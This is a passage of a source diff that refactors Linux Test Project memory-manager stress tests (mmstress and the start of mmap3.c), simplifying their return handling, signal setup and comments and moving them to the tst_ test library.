 /******************************************************************************/
 
-/* GLOBAL INCLUDE FILES                                                       */
-#include <stdio.h>		/* standard C input/output routines                     */
-#include <sys/types.h>		/* definitions for open()                               */
-#include <sys/stat.h>		/* definitions for open()                               */
-#include <fcntl.h>		/* definition of open()                                 */
-#include <unistd.h>		/* declaration of close()                               */
-#include <sys/mman.h>		/* declaration of mmap()                                */
-#include <sys/wait.h>		/* declaration for wait routine                         */
-#include <sys/time.h>		/* definitions for the interval timer                   */
-#include <pthread.h>		/* declaration of pthread functions                     */
-#include <signal.h>		/* definitions for signals - required for SIGALRM       */
-#include <errno.h>		/* definitions for errors                               */
-#include <stdlib.h>		/* declaration for malloc                               */
-#include <string.h>		/* declaration for memset                               */
-#include <sched.h>		/* declaration of sched_yield()                         */
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <pthread.h>
+#include <signal.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sched.h>
 #include <stdint.h>
+#include <getopt.h>
 
 #include "test.h"
 
@@ -120,78 +120,34 @@
 #endif
 #define FAILED       (-1)	/* return status for all funcs indicating failure   */
 #define SUCCESS      0		/* return status for all routines indicating success */
-			  /* prints error if no argument passed               */
-#define OPT_MISSING(prog, opt) do {                        \
-            fprintf(stderr, "%s: option -%c ", prog, opt); \
-            fprintf(stderr, "requires an argument\n");    \
-                } while (0)
 
-			  /* exit thread macro                                */
-#define PTHREAD_EXIT(val)      do {              \
-            exit_val = val;                      \
-                pthread_exit((void *)exit_val); \
-                                  } while (0)
 #define MAXTEST      6		/* total number of testcase in this program          */
 #define BRKSZ        512*1024	/* program data space allocation value          */
 
-/* GLOBAL VARIABLES                                                           */
-typedef struct {		/* structure returned by map_and_thread()               */
-	int status;		/* status of the operation - FAILED or SUCCESS          */
-	caddr_t mapaddr;	/* address at which the file is mapped                  */
-} RETINFO_t;
-
-static volatile int wait_thread = 0;	/* used to wake up sleeping threads    */
-static volatile int thread_begin = 0;	/* used to coordinate threads          */
+static volatile int wait_thread;	/* used to wake up sleeping threads    */
+static volatile int thread_begin;	/* used to coordinate threads          */
 static int verbose_print = FALSE;	/* print more test information           */
 
 static int pages_num = NUMPAGES;	/* number of pages to use for tests     */
+static volatile int alarm_fired;
 
 char *TCID = "mmstress";
 int TST_TOTAL = 6;
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    sig_handler                                                   */
-/*                                                                            */
-/* Description: handle SIGALRM raised by set_timer(), SIGALRM is raised when  */
-/*              the timer expires. If any other signal is received exit the   */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       signal - signal number, intrested in SIGALRM!                 */
-/*                                                                            */
-/* Return:      exit -1 if unexpected signal is received                      */
-/*              exit 0 if SIGALRM is received                                 */
-/*                                                                            */
-/* Synopsis:    void signal_handler(int signal);                              */
-/*                                                                            */
-/******************************************************************************/
 static void sig_handler(int signal)
-{				/* signal number, set to handle SIGALRM               */
+{
 	if (signal != SIGALRM) {
 		fprintf(stderr,
 			"sig_handlder(): unexpected signal caught [%d]\n",
 			signal);
-		exit(-1);
-	} else
-		tst_resm(TPASS, "Test ended, success");
-	exit(0);
+		exit(TBROK);
+	}
+
+	alarm_fired = 1;
 }
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    usage                                                         */
-/*                                                                            */
-/* Description: prints the usage function.                                    */
-/*                                                                            */
-/* Input:       char *progname - name of this executable.                     */
-/*                                                                            */
-/* Return:      exit 1                                                        */
-/*                                                                            */
-/* Synopsis:    void usage(char *progname);                                   */
-/*                                                                            */
-/******************************************************************************/
 static void usage(char *progname)
-{				/* name of this program                       */
+{
 	fprintf(stderr, "usage:%s -h -n test -t time -v [-V]\n", progname);
 	fprintf(stderr, "\t-h displays all options\n");
 	fprintf(stderr, "\t-n test number, if no test number\n"
@@ -204,23 +160,10 @@
 	exit(1);
 }
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    set_timer                                                     */
-/*                                                                            */
-/* Description: set up a timer to user specified number of hours. SIGALRM is  */
-/*              raised when the timer expires.                                */
-/*                                                                            */
-/* Input:       run_time - number of hours the test is intended to run.       */
-/*                                                                            */
-/* Return:      NONE                                                          */
-/*                                                                            */
-/* Synopsis:    void set_timer(int run_time);                                 */
-/*                                                                            */
-/******************************************************************************/
 static void set_timer(int run_time)
-{				/* period for which test is intended to run   */
-	struct itimerval timer;	/* timer structure, tv_sec is set to run_time */
+{
+	struct itimerval timer;
+
 	memset(&timer, 0, sizeof(struct itimerval));
 	timer.it_interval.tv_usec = 0;
 	timer.it_interval.tv_sec = 0;
@@ -244,27 +187,22 @@
 /* Input:       void *args - argments passed to the exec routine by           */
 /*              pthread_create()                                              */
 /*                                                                            */
-/* Return:      NONE                                                          */
-/*                                                                            */
-/* Synopsis:    void *thread_fault(void *args);                               */
-/*                                                                            */
 /******************************************************************************/
 static void *thread_fault(void *args)
-{				/* pointer to the arguments passed to routine */
+{
 	long *local_args = args;	/* local pointer to list of arguments        */
 	/* local_args[THNUM]   - the thread number   */
 	/* local_args[MAPADDR] - map address         */
 	/* local_args[PAGESIZ] - page size           */
 	/* local_args[FLTIPE]  - fault type          */
 	int pgnum_ndx = 0;	/* index to the number of pages              */
-	caddr_t start_addr	/* start address of the page                 */
-	    = (caddr_t) (local_args[MAPADDR]
+	char *start_addr	/* start address of the page                 */
+	    = (void *) (local_args[MAPADDR]
 			 + (int)local_args[THNUM]
 			 * (pages_num / NUMTHREAD)
 			 * local_args[PAGESIZ]);
 	char read_from_addr = 0;	/* address to which read from page is done   */
 	char write_to_addr[] = { 'a' };	/* character to be writen to the page    */
-	uintptr_t exit_val = 0;	/* exit value of the pthread. 0 - success    */
 
     /*************************************************************/
 	/*   The way it was, args could be overwritten by subsequent uses
@@ -293,7 +231,7 @@
 				 start_addr);
 		fflush(NULL);
 	}
-	PTHREAD_EXIT(0);
+	pthread_exit(NULL);
 }
 
 /******************************************************************************/
@@ -302,16 +240,9 @@
 /*                                                                            */
 /* Description: remove temporary files that were created by the tests.        */
 /*                                                                            */
-/* Input:       char *filename - name of the file to be removed.              */
-/*                                                                            */
-/* Return:      FAILED  - on failure                                          */
-/*              SUCCESS - on success                                          */
-/*                                                                            */
-/* Synopsis:    int remove_files(char *filename);                             */
-/*                                                                            */
 /******************************************************************************/
 static int remove_files(char *filename, char *addr)
-{				/* name of the file that is to be removed     */
+{
 	if (addr)
 		if (munmap(addr, sysconf(_SC_PAGESIZE) * pages_num) < 0) {
 			perror("map_and_thread(): munmap()");
@@ -342,22 +273,12 @@
 /* Input:       char *tmpfile - name of temporary file that is created        */
 /*              int   fault_type - type of fault that is to be generated.     */
 /*                                                                            */
-/* Return:    RETINFO_t * - pointer to RETINFO_t structure                    */
-/*                                                                            */
-/* Synopsis:  RETINFO_t *map_and_thread(                                      */
-/*                        char  *tmpfile,                                     */
-/*                        void  *(*exec_func)(void *),                        */
-/*                        int    fault_type,                                  */
-/*                        int    num_thread,                                  */
-/*                        RETINFO_t *retinfo);                                */
-/*                                                                            */
 /******************************************************************************/
-RETINFO_t *map_and_thread(char *tmpfile,	/* name of temporary file to be created      */
-			  void *(*exec_func) (void *),	/* thread function to execute                */
-			  int fault_type,	/* type of fault to be generated             */
-			  int num_thread,	/* number of threads to create               */
-			  RETINFO_t * retinfo)
-{				/* return map address and oper status        */
+int map_and_thread(char *tmpfile,
+			  void *(*exec_func) (void *),
+			  int fault_type,
+			  int num_thread)
+{
 	int fd = 0;		/* file descriptor of the file created       */
 	int thrd_ndx = 0;	/* index to the number of threads created    */
 	int map_type = 0;	/* specifies the type of the mapped object   */
@@ -368,7 +289,7 @@
 	    = sysconf(_SC_PAGESIZE);
 	static pthread_t pthread_ids[NUMTHREAD];
 	/* contains ids of the threads created       */
-	caddr_t map_addr = NULL;	/* address where the file is mapped          */
+	void * map_addr = NULL;	/* address where the file is mapped          */
 
 	/* Create a file with permissions 0666, and open it with RDRW perms       */
 	/* if the name is not a NULL                                              */
@@ -381,8 +302,7 @@
 			perror("map_and_thread(): open()");
 			close(fd);
 			fflush(NULL);
-			retinfo->status = FAILED;
-			return retinfo;
+			return FAILED;
 		}
 
 		/* Write pagesize * pages_num bytes to the file */
@@ -394,8 +314,7 @@
 			fflush(NULL);
 			remove_files(tmpfile, NULL);
 			close(fd);
-			retinfo->status = FAILED;
-			return retinfo;
+			return FAILED;
 		}
 		map_type = (fault_type == COW_FAULT) ? MAP_PRIVATE : MAP_SHARED;
 
@@ -404,7 +323,7 @@
 		/* generated map the file with read protection else map with read -   */
 		/* write protection.                               */
 
-		if ((map_addr = (caddr_t) mmap(0, pagesize * pages_num,
+		if ((map_addr = (void *) mmap(0, pagesize * pages_num,
 					       ((fault_type == READ_FAULT) ?
 						PROT_READ : PROT_READ |
 						PROT_WRITE), map_type, fd, 0))
@@ -414,10 +333,8 @@
 			fflush(NULL);
 			remove_files(tmpfile, NULL);
 			close(fd);
-			retinfo->status = FAILED;
-			return retinfo;
+			return FAILED;
 		} else {
-			retinfo->mapaddr = map_addr;
 			if (verbose_print)
 				tst_resm(TINFO,
 					 "map_and_thread(): mmap success, address = %p",
@@ -460,8 +377,7 @@
 			fflush(NULL);
 			remove_files(tmpfile, map_addr);
 			close(fd);
-			retinfo->status = FAILED;
-			return retinfo;
+			return FAILED;
 		} else {
 	    /***************************************************/
 			/*   Yield until new thread is done with args.
@@ -485,8 +401,7 @@
 			fflush(NULL);
 			remove_files(tmpfile, map_addr);
 			close(fd);
-			retinfo->status = FAILED;
-			return retinfo;
+			return FAILED;
 		} else {
 			if ((long)th_status == 1) {
 				tst_resm(TINFO,
@@ -512,14 +427,12 @@
 	 */
 	if (remove_files(tmpfile, map_addr) == FAILED) {
 		free(empty_buf);
-		retinfo->status = FAILED;
-		return retinfo;
+		return FAILED;
 	}
 
 	free(empty_buf);
 	close(fd);
-	retinfo->status = SUCCESS;
-	return retinfo;
+	return SUCCESS;
 }
 
 /******************************************************************************/
@@ -530,23 +443,12 @@
 /* Description: map a file into memory, create threads and execute a thread   */
 /*              function that will cause read faults by simultaneously reading*/
 /*              from this memory space.                                       */
-/*                                                                            */
-/* Input:       NONE                                                          */
-/*                                                                            */
-/* Return:      int - status from map_and_thread()                            */
-/*                                                                            */
-/* Synopsis:    int test1();                                                  */
-/*                                                                            */
 /******************************************************************************/
-static int test1()
+static int test1(void)
 {
-	RETINFO_t retval;	/* contains info relating to test status          */
-
 	tst_resm(TINFO, "test1: Test case tests the race condition between "
 		 "simultaneous read faults in the same address space.");
-	map_and_thread("./tmp.file.1", thread_fault, READ_FAULT, NUMTHREAD,
-		       &retval);
-	return (retval.status);
+	return map_and_thread("./tmp.file.1", thread_fault, READ_FAULT, NUMTHREAD);
 }
 
 /******************************************************************************/
@@ -557,23 +459,12 @@
 /* Description: map a file into memory, create threads and execute a thread   */
 /*              function that will cause write faults by simultaneously       */
 /*              writing to this memory space.                                 */
-/*                                                                            */
-/* Input:       NONE                                                          */
-/*                                                                            */
-/* Return:      int - status from map_and_thread()                            */
-/*                                                                            */
-/* Synopsis:    int test2();                                                  */
-/*                                                                            */
 /******************************************************************************/
-static int test2()
+static int test2(void)
 {
-	RETINFO_t retval;	/* contains test stats information               */
-
 	tst_resm(TINFO, "test2: Test case tests the race condition between "
 		 "simultaneous write faults in the same address space.");
-	map_and_thread("./tmp.file.2", thread_fault, WRITE_FAULT, NUMTHREAD,
-		       &retval);
-	return (retval.status);
+	return map_and_thread("./tmp.file.2", thread_fault, WRITE_FAULT, NUMTHREAD);
 }
 
 /******************************************************************************/
@@ -585,22 +476,12 @@
 /*              function that will cause COW faults by simultaneously         */
 /*              writing to this memory space.                                 */
 /*                                                                            */
-/* Input:       NONE                                                          */
-/*                                                                            */
-/* Return:      int - status from map_and_thread()                            */
-/*                                                                            */
-/* Synopsis:    int test3();                                                  */
-/*                                                                            */
 /******************************************************************************/
-static int test3()
+static int test3(void)
 {
-	RETINFO_t retval;	/* contains test stats information                   */
-
 	tst_resm(TINFO, "test3: Test case tests the race condition between "
 		 "simultaneous COW faults in the same address space.");
-	map_and_thread("./tmp.file.3", thread_fault, COW_FAULT, NUMTHREAD,
-		       &retval);
-	return (retval.status);
+	return map_and_thread("./tmp.file.3", thread_fault, COW_FAULT, NUMTHREAD);
 }
 
 /******************************************************************************/
@@ -612,23 +493,13 @@
 /*              function that will cause READ faults by simultaneously        */
 /*              writing to this memory space.                                 */
 /*                                                                            */
-/* Input:       NONE                                                          */
-/*                                                                            */
-/* Return:      int - status from map_and_thread()                            */
-/*                                                                            */
-/* Synopsis:    int test4();                                                  */
-/*                                                                            */
 /******************************************************************************/
-static int test4()
+static int test4(void)
 {
-	RETINFO_t retval;	/* contains test status information                 */
-
 	tst_resm(TINFO, "test4: Test case tests the race condition between "
 		 "simultaneous READ faults in the same address space. "
 		 "The file mapped is /dev/zero");
-	map_and_thread("/dev/zero", thread_fault, COW_FAULT, NUMTHREAD,
-		       &retval);
-	return (retval.status);
+	return map_and_thread("/dev/zero", thread_fault, COW_FAULT, NUMTHREAD);
 }
 
 /******************************************************************************/
@@ -639,25 +510,19 @@
 /* Description: Initialize large data in the parent process, fork a child and */
 /*              and the parent waits for the child to complete execution.     */
 /*                                                                            */
-/* Input:       NONE                                                          */
-/*                                                                            */
-/* Return:      int - status from map_and_thread()                            */
-/*                                                                            */
-/* Synopsis:    int test5();                                                  */
-/*                                                                            */
 /******************************************************************************/
-static int test5()
+static int test5(void)
 {
-	int fork_ndx = 0;	/* index to the number of processes forked        */
-	pid_t pid = 0;		/* process id, returned by fork system call.      */
-	int wait_status = 0;	/* if status is not NULL store status information */
+	int fork_ndx = 0;
+	pid_t pid = 0;
+	int wait_status = 0;
 
 	tst_resm(TINFO, "test5: Test case tests the race condition between "
 		 "simultaneous fork - exit faults in the same address space.");
 
 	/* increment the  program's  data  space  by 200*1024 (BRKSZ) bytes       */
 
-	if (sbrk(BRKSZ) == (caddr_t) - 1) {
+	if (sbrk(BRKSZ) == (void *) - 1) {
 		perror("test5(): sbrk()");
 		fflush(NULL);
 		return FAILED;
@@ -676,7 +541,7 @@
 
 	} while (fork_ndx++ < NUMTHREAD);
 
-	if (sbrk(-BRKSZ) == (caddr_t) - 1) {
+	if (sbrk(-BRKSZ) == (void *) - 1) {
 		tst_resm(TINFO, "test5(): rollback sbrk failed");
 		fflush(NULL);
 		perror("test5(): sbrk()");
@@ -695,28 +560,20 @@
 /*              and the parent waits for the child to complete execution. The */
 /*              child program execs a dummy program.                          */
 /*                                                                            */
-/* Input:       NONE                                                          */
-/*                                                                            */
-/* Return:      int - status from map_and_thread()                            */
-/*                                                                            */
-/* Synopsis:    int test6();                                                  */
-/*                                                                            */
 /******************************************************************************/
-static int test6()
+static int test6(void)
 {
 	int res = SUCCESS;
-	int fork_ndx = 0;	/* index to the number of processes forked         */
-	pid_t pid = 0;		/* process id, returned by fork system call.       */
-	int wait_status;	/* if status is not NULL store status information  */
-	char *argv_init[2] =	/* parameter required for dummy function to execvp */
-	{ "arg1", NULL };
+	int fork_ndx = 0;
+	pid_t pid = 0;
+	int wait_status;
+	char *argv_init[2] = { "arg1", NULL };
 
 	tst_resm(TINFO, "test6: Test case tests the race condition between "
 		 "simultaneous fork -exec - exit faults in the same address space.");
 
 	/* increment the  program's  data  space  by 200*1024 (BRKSZ) bytes       */
-
-	if (sbrk(BRKSZ) == (caddr_t) - 1) {
+	if (sbrk(BRKSZ) == (void *) - 1) {
 		perror("test6(): sbrk()");
 		fflush(NULL);
 		return FAILED;
@@ -725,113 +582,80 @@
 	/* fork NUMTHREAD number of processes, assumption is on SMP each will get */
 	/* a separate CPU if NRCPUS = NUMTHREAD. The child execs a dummy program  */
 	/*  and parent waits for child to complete execution.                     */
-
 	do {
 		if (!(pid = fork())) {
 			if (execvp("mmstress_dummy", argv_init) == -1) {
 				if (execvp("./mmstress_dummy", argv_init) == -1) {
 					perror("test6(): execvp()");
 					fflush(NULL);
-		   /*************************************************/
-					/*   Dummy uses exit 0 so use something else for
-					 *   error exit.
-					 */
 					exit(99);
 				}
 			}
 		} else {
 			if (pid != -1)
 				wait(&wait_status);
-	    /*************************************************/
-			/*   Dummy uses exit 0.
-			 *   Capture exit of child and set res accordingly.
-			 *   It defaults to SUCCESS.  Only gets set if
-			 *   child fails.
-			 */
+
 			if (WEXITSTATUS(wait_status) != 0)
 				res = FAILED;
 		}
 
 	} while (fork_ndx++ < NUMTHREAD);
 
-	if (sbrk(-BRKSZ) == (caddr_t) - 1) {
+	if (sbrk(-BRKSZ) == (void *) - 1) {
 		tst_resm(TINFO, "test6(): rollback sbrk failed");
 		fflush(NULL);
 		perror("test6(): sbrk()");
 		fflush(NULL);
 		return FAILED;
 	}
-    /*************************************/
-	/*  This used to return SUCCESS, whether or not the
-	 *  test actually worked.
-	 */
+
 	return res;
 }
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    main                                                          */
-/*                                                                            */
-/* Desciption:  This is the main function of mmstress program. It processes   */
-/*              all command line options and flags and runs the tests.        */
-/*              If no specific tests are chosen, all tests will be run one    */
-/*              time by default.                                              */
-/*                                                                            */
-/* Input:       argc - number of command line parameters                      */
-/*              argv - pointer to the array of the command line parameters.   */
-/*                                                                            */
-/* Return:      EXIT_FAILURE - in case sigaction() fails                      */
-/*              rc - return code from the testcase                            */
-/*                   zero     - success                                       */
-/*                   non zero - failure                                       */
-/*                                                                            */
-/******************************************************************************/
-int main(int argc,		/* number of command line parameters                     */
-	 char **argv)
-{				/* pointer to the array of the command line parameters.  */
-	extern char *optarg;	/* getopt() function global variables               */
-	extern int optind;	/* index into argument                              */
-	extern int opterr;	/* optarg error detection                           */
-	extern int optopt;	/* stores bad option passed to the program          */
+static int (*(test_ptr)[]) () = {test1, test2, test3, test4, test5, test6};
 
+static void run_test(unsigned int i)
+{
+	int rc;
+
+	rc = test_ptr[i]();
+
+	if (rc == SUCCESS)
+		tst_resm(TPASS, "TEST %d Passed", i + 1);
+	else
+		tst_resm(TFAIL, "TEST %d Failed", i + 1);
+
+	if (alarm_fired)
+		tst_exit();
+}
+
+int main(int argc, char **argv)
+{
 	static char *version_info = "mmstress V1.00 04/17/2001";
-	/* version of this program                          */
-	int (*(test_ptr)[]) () = {
-	NULL, test1, test2, test3, test4, test5, test6};
-	/* pointer to the array of test names     */
-	int ch;			/* command line flag character            */
-	int test_num = 0;	/* test number that is to be run          */
-	int test_time = 0;	/* duration for which test is to be run   */
-	int sig_ndx = 0;	/* index into signal handler structure.   */
-	int run_once = TRUE;	/* test/tests are run once by default.    */
-	char *prog_name = argv[0];	/* name of this program                   */
-	int rc = 0;		/* return value from tests.  0 - success  */
-	int global_rc = 0;	/* return value from tests.  0 - success  */
-	int version_flag = FALSE;	/* printf the program version             */
-	struct sigaction sigptr;	/* set up signal, for interval timer      */
+	int ch, i;
+	int test_num = 0;
+	int test_time = 0;
+	int run_once = TRUE;
 
 	static struct signal_info {
-		int signum;	/* signal number that hasto be handled                */
-		char *signame;	/* name of the signal to be handled.                  */
-	} sig_info[] = { {
-	SIGHUP, "SIGHUP"}, {
-	SIGINT, "SIGINT"}, {
-	SIGQUIT, "SIGQUIT"}, {
-	SIGABRT, "SIGABRT"}, {
-	SIGBUS, "SIGBUS"}, {
-	SIGSEGV, "SIGSEGV"}, {
-	SIGALRM, "SIGALRM"}, {
-	SIGUSR1, "SIGUSR1"}, {
-	SIGUSR2, "SIGUSR2"}, {
-	SIGENDSIG, "ENDSIG"}
+		int signum;
+		char *signame;
+	} sig_info[] = {
+		{SIGHUP, "SIGHUP"},
+		{SIGINT, "SIGINT"},
+		{SIGQUIT, "SIGQUIT"},
+		{SIGABRT, "SIGABRT"},
+		{SIGBUS, "SIGBUS"},
+		{SIGSEGV, "SIGSEGV"},
+		{SIGALRM, "SIGALRM"},
+		{SIGUSR1, "SIGUSR1"},
+		{SIGUSR2, "SIGUSR2"},
+		{SIGENDSIG, "ENDSIG"}
 	};
 
 	setvbuf(stdout, NULL, _IONBF, 0);
 	setvbuf(stderr, NULL, _IONBF, 0);
 
-	optarg = NULL;
-	opterr = 0;
-
 	if (argc < 2)
 		tst_resm(TINFO, "run %s -h for all options", argv[0]);
 
@@ -841,111 +665,59 @@
 			usage(argv[0]);
 			break;
 		case 'n':
-			if (optarg)
-				test_num = atoi(optarg);
-			else
-				OPT_MISSING(prog_name, optopt);
+			test_num = atoi(optarg);
 			break;
 		case 'p':
-			if (optarg)
-				pages_num = atoi(optarg);
-			else
-				OPT_MISSING(prog_name, optopt);
+			pages_num = atoi(optarg);
 			break;
 		case 't':
-			if (optarg) {
-				tst_resm(TINFO,
-					 "Test is scheduled to run for %d hours",
-					 test_time = atoi(optarg));
-				run_once = FALSE;
-			} else
-				OPT_MISSING(prog_name, optopt);
+			tst_resm(TINFO,
+				 "Test is scheduled to run for %d hours",
+				 test_time = atoi(optarg));
+			run_once = FALSE;
 			break;
 		case 'v':
 			verbose_print = TRUE;
 			break;
 		case 'V':
-			if (!version_flag) {
-				version_flag = TRUE;
-				tst_resm(TINFO, "%s: %s", prog_name,
-					 version_info);
-			}
+			tst_resm(TINFO, "%s: %s", argv[0], version_info);
 			break;
 		case '?':
-			if (argc < optind)
-				OPT_MISSING(prog_name, optopt);
-			else
-				fprintf(stderr,
-					"%s: unknown option - %c ignored\n",
-					prog_name, optopt);
+			fprintf(stderr,
+				"%s: unknown option - %c ignored\n",
+				argv[0], optopt);
 			break;
 		default:
-			fprintf(stderr, "%s: getopt() failed!!!\n", prog_name);
-			exit(2);
+			tst_brkm(TBROK, NULL, "%s: getopt() failed!!!\n",
+				 argv[0]);
 		}
 	}
 
-	/* duration for which the tests have to be run. test_time is converted to */
-	/* corresponding seconds and the tests are run as long as the current time */
-	/* is less than the required time and test are successul (ie rc = 0)      */
-
 	set_timer(test_time);
 
-	/* set up signals */
-	sigptr.sa_handler = (void (*)(int signal))sig_handler;
-	sigfillset(&sigptr.sa_mask);
-	sigptr.sa_flags = 0;
-	for (sig_ndx = 0; sig_info[sig_ndx].signum != -1; sig_ndx++) {
-		sigaddset(&sigptr.sa_mask, sig_info[sig_ndx].signum);
-
-		if (sigaction(sig_info[sig_ndx].signum, &sigptr,
-			      (struct sigaction *)NULL) == SIGENDSIG) {
-			perror("main(): sigaction()");
-			fprintf(stderr,
-				"could not set handler for SIGALRM, errno = %d\n",
-				errno);
-			exit(EXIT_FAILURE);
+	for (i = 0; sig_info[i].signum != -1; i++) {
+		if (signal(sig_info[i].signum, sig_handler) == SIG_ERR) {
+			tst_brkm(TBROK | TERRNO, NULL, "signal(%s) failed",
+				 sig_info[i].signame);
 		}
 	}
 
-    /*************************************************/
-	/*   The way this loop was, 5 of 6 tests could fail,
-	 *   and as long test test 6 passed, the test passed.
-	 *   The changes in this loop repair that problem.
-	 */
+	tst_tmpdir();
+
 	do {
 		if (!test_num) {
-			int test_ndx;	/* index into the array of tests               */
-
-			for (test_ndx = 1; test_ndx <= MAXTEST; test_ndx++) {
-				rc = test_ptr[test_ndx] ();
-				if (rc == SUCCESS) {
-					tst_resm(TPASS, "TEST %d Passed",
-						 test_ndx);
-				} else {
-					tst_resm(TFAIL, "TEST %d Failed",
-						 test_ndx);
-					global_rc = rc;
-				}
-			}
+			for (i = 0; i < MAXTEST; i++)
+				run_test(i);
 		} else {
-			global_rc = (test_num > MAXTEST) ?
-			    fprintf(stderr,
-				    "Invalid test number, must be in range [1 - %d]\n",
-				    MAXTEST) : test_ptr[test_num] ();
+			if (test_num >= MAXTEST) {
+				tst_brkm(TBROK, NULL, "Invalid test number %i",
+					 test_num);
+			}
+
+			run_test(test_num);
 		}
+	} while (!run_once);
 
-		if (global_rc != SUCCESS) {
-			tst_resm(TFAIL, "Test Failed");
-			exit(global_rc);
-		}
-
-	} while ((TRUE) && (!run_once));
-
-	if (global_rc != SUCCESS) {
-		tst_resm(TFAIL, "Test Failed");
-	} else {
-		tst_resm(TPASS, "Test Passed");
-	}
-	exit(global_rc);
+	tst_rmdir();
+	tst_exit();
 }
diff --git a/testcases/kernel/mem/mtest06/Makefile b/testcases/kernel/mem/mtest06/Makefile
index bd15e66..88e4632 100644
--- a/testcases/kernel/mem/mtest06/Makefile
+++ b/testcases/kernel/mem/mtest06/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir              ?= ../../../..
diff --git a/testcases/kernel/mem/mtest06/mmap3.c b/testcases/kernel/mem/mtest06/mmap3.c
index b545894..d572720 100644
--- a/testcases/kernel/mem/mtest06/mmap3.c
+++ b/testcases/kernel/mem/mtest06/mmap3.c
@@ -1,379 +1,214 @@
-/******************************************************************************/
-/*									      */
-/* Copyright (c) International Business Machines  Corp., 2001		      */
-/*									      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.					      */
-/*									      */
-/* This program is distributed in the hope that it will be useful,	      */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	      */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See	              */
-/* the GNU General Public License for more details.			      */
-/*									      */
-/* You should have received a copy of the GNU General Public License	      */
-/* along with this program;  if not, write to the Free Software		      */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									      */
-/******************************************************************************/
+/******************************************************************************
+ *									      *
+ * Copyright (c) International Business Machines  Corp., 2001		      *
+ *  2001 Created by Manoj Iyer, IBM Austin TX <manjo@austin.ibm.com>          *
+ * Copyright (C) 2016 Cyril Hrubis <chrubis@suse.cz>                          *
+ *									      *
+ * This program is free software;  you can redistribute it and/or modify      *
+ * it under the terms of the GNU General Public License as published by       *
+ * the Free Software Foundation; either version 2 of the License, or          *
+ * (at your option) any later version.					      *
+ *									      *
+ * This program is distributed in the hope that it will be useful,	      *
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of	      *
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See	              *
+ * the GNU General Public License for more details.			      *
+ *									      *
+ * You should have received a copy of the GNU General Public License	      *
+ * along with this program;  if not, write to the Free Software Foundation,   *
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           *
+ *									      *
+ ******************************************************************************/
 
-/******************************************************************************/
-/*									      */
-/* History:	July - 16 - 2001 Created by Manoj Iyer, IBM Austin TX.	      */
-/*			         email:manjo@austin.ibm.com		      */
-/*                                                                            */
-/*              July - 24 - 2001 Modified. Added loop and pass arguments to   */
-/*                               the thread function. Fixed usage function.   */
-/*				 added option to MAP_PRIVATE or MAP_SHARED.   */
-/*                                                                            */
-/*              Aug  - 01 - 2001 Modified. Added include file signal.h        */
-/*                               has defines required by signal handler.      */
-/*                                                                            */
-/*		Oct  - 25 - 2001 Modified. Fixed bug in main(). Pthread_join  */
-/*				 sets the return value of the thread in thread*/
-/*			         return_status parameter.                     */
-/*		Nov - 09  - 2001 Modified. Removed compile errors             */
-/*				 - incomplete comment in line 301             */
-/*				 - missing argument to printf in pthread_join */
-/*                                                                            */
-/*              Apr  - 16 - 2003 Modified - replaced tempnam() use with       */
-/*                               mkstemp(). -Robbie Williamson                */
-/*                               email:robbiew@us.ibm.com                     */
-/*                                                                            */
-/*              May  - 12 - 2003 Modified - remove the really large files     */
-/*                               when we are done with the test - Paul Larson */
-/*                               email:plars@linuxtestproject.org             */
-/* File:	mmap3.c							      */
-/*			         					      */
-/* Description: Test the LINUX memory manager. The program is aimed at        */
-/*              stressing the memory manager by repeaded map/write/unmap      */
-/*		of file/memory of random size (maximum 1GB) this is done by   */
-/*		multiple processes.					      */
-/*			         					      */
-/*		Create a file of random size upto 1000 times 4096, map it,    */
-/*		change the contents of the file and unmap it. This is repeated*/
-/*		several times for the specified number of hours by a certain. */
-/*		number of processes.					      */
-/*			         					      */
-/******************************************************************************/
+/*
+ * Tests the LINUX memory manager. The program is aimed at stressing the memory
+ * manager by repeaded map/write/unmap of file/memory of random size (maximum
+ * 1GB) this is done by multiple threads.
+ *
+ * Create a file of random size upto 1000 times 4096, map it, change the
+ * contents of the file and unmap it. This is repeated several times for the
+ * specified number of hours by a certain number of threads.
+ */
 
-/* Include Files							      */
 #include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <errno.h>
-#include <sys/mman.h>
-#include <sched.h>
 #include <stdlib.h>
-#include <signal.h>
-#include <sys/time.h>
-#include <sys/wait.h>
+#include <limits.h>
 #include <pthread.h>
-#include <signal.h>
-#include <string.h>
-#include "test.h"
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
 
-/* Defines								      */
-#ifndef TRUE
-#define TRUE 1
-#endif
-#ifndef FALSE
-#define FALSE 0
-#endif
-#define prtln() printf(" I AM HERE ==> %s %d\n", __FILE__, __LINE__);
+static char *str_loops;
+static char *str_threads;
+static char *map_private;
+static char *str_exec_time;
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    mkfile                                                        */
-/*                                                                            */
-/* Description: Create a temparory file of ramdom size. 		      */
-/*                                                                            */
-/* Input:	NONE							      */
-/*                                                                            */
-/* Output:      size - size of the temp file  created 			      */
-/*                                                                            */
-/* Return:      int fd - file descriptor if the file was created.             */
-/*              -1     - if it failed to create.                              */
-/*                                                                            */
-/******************************************************************************/
+static int loops = 1000;
+static int threads = 40;
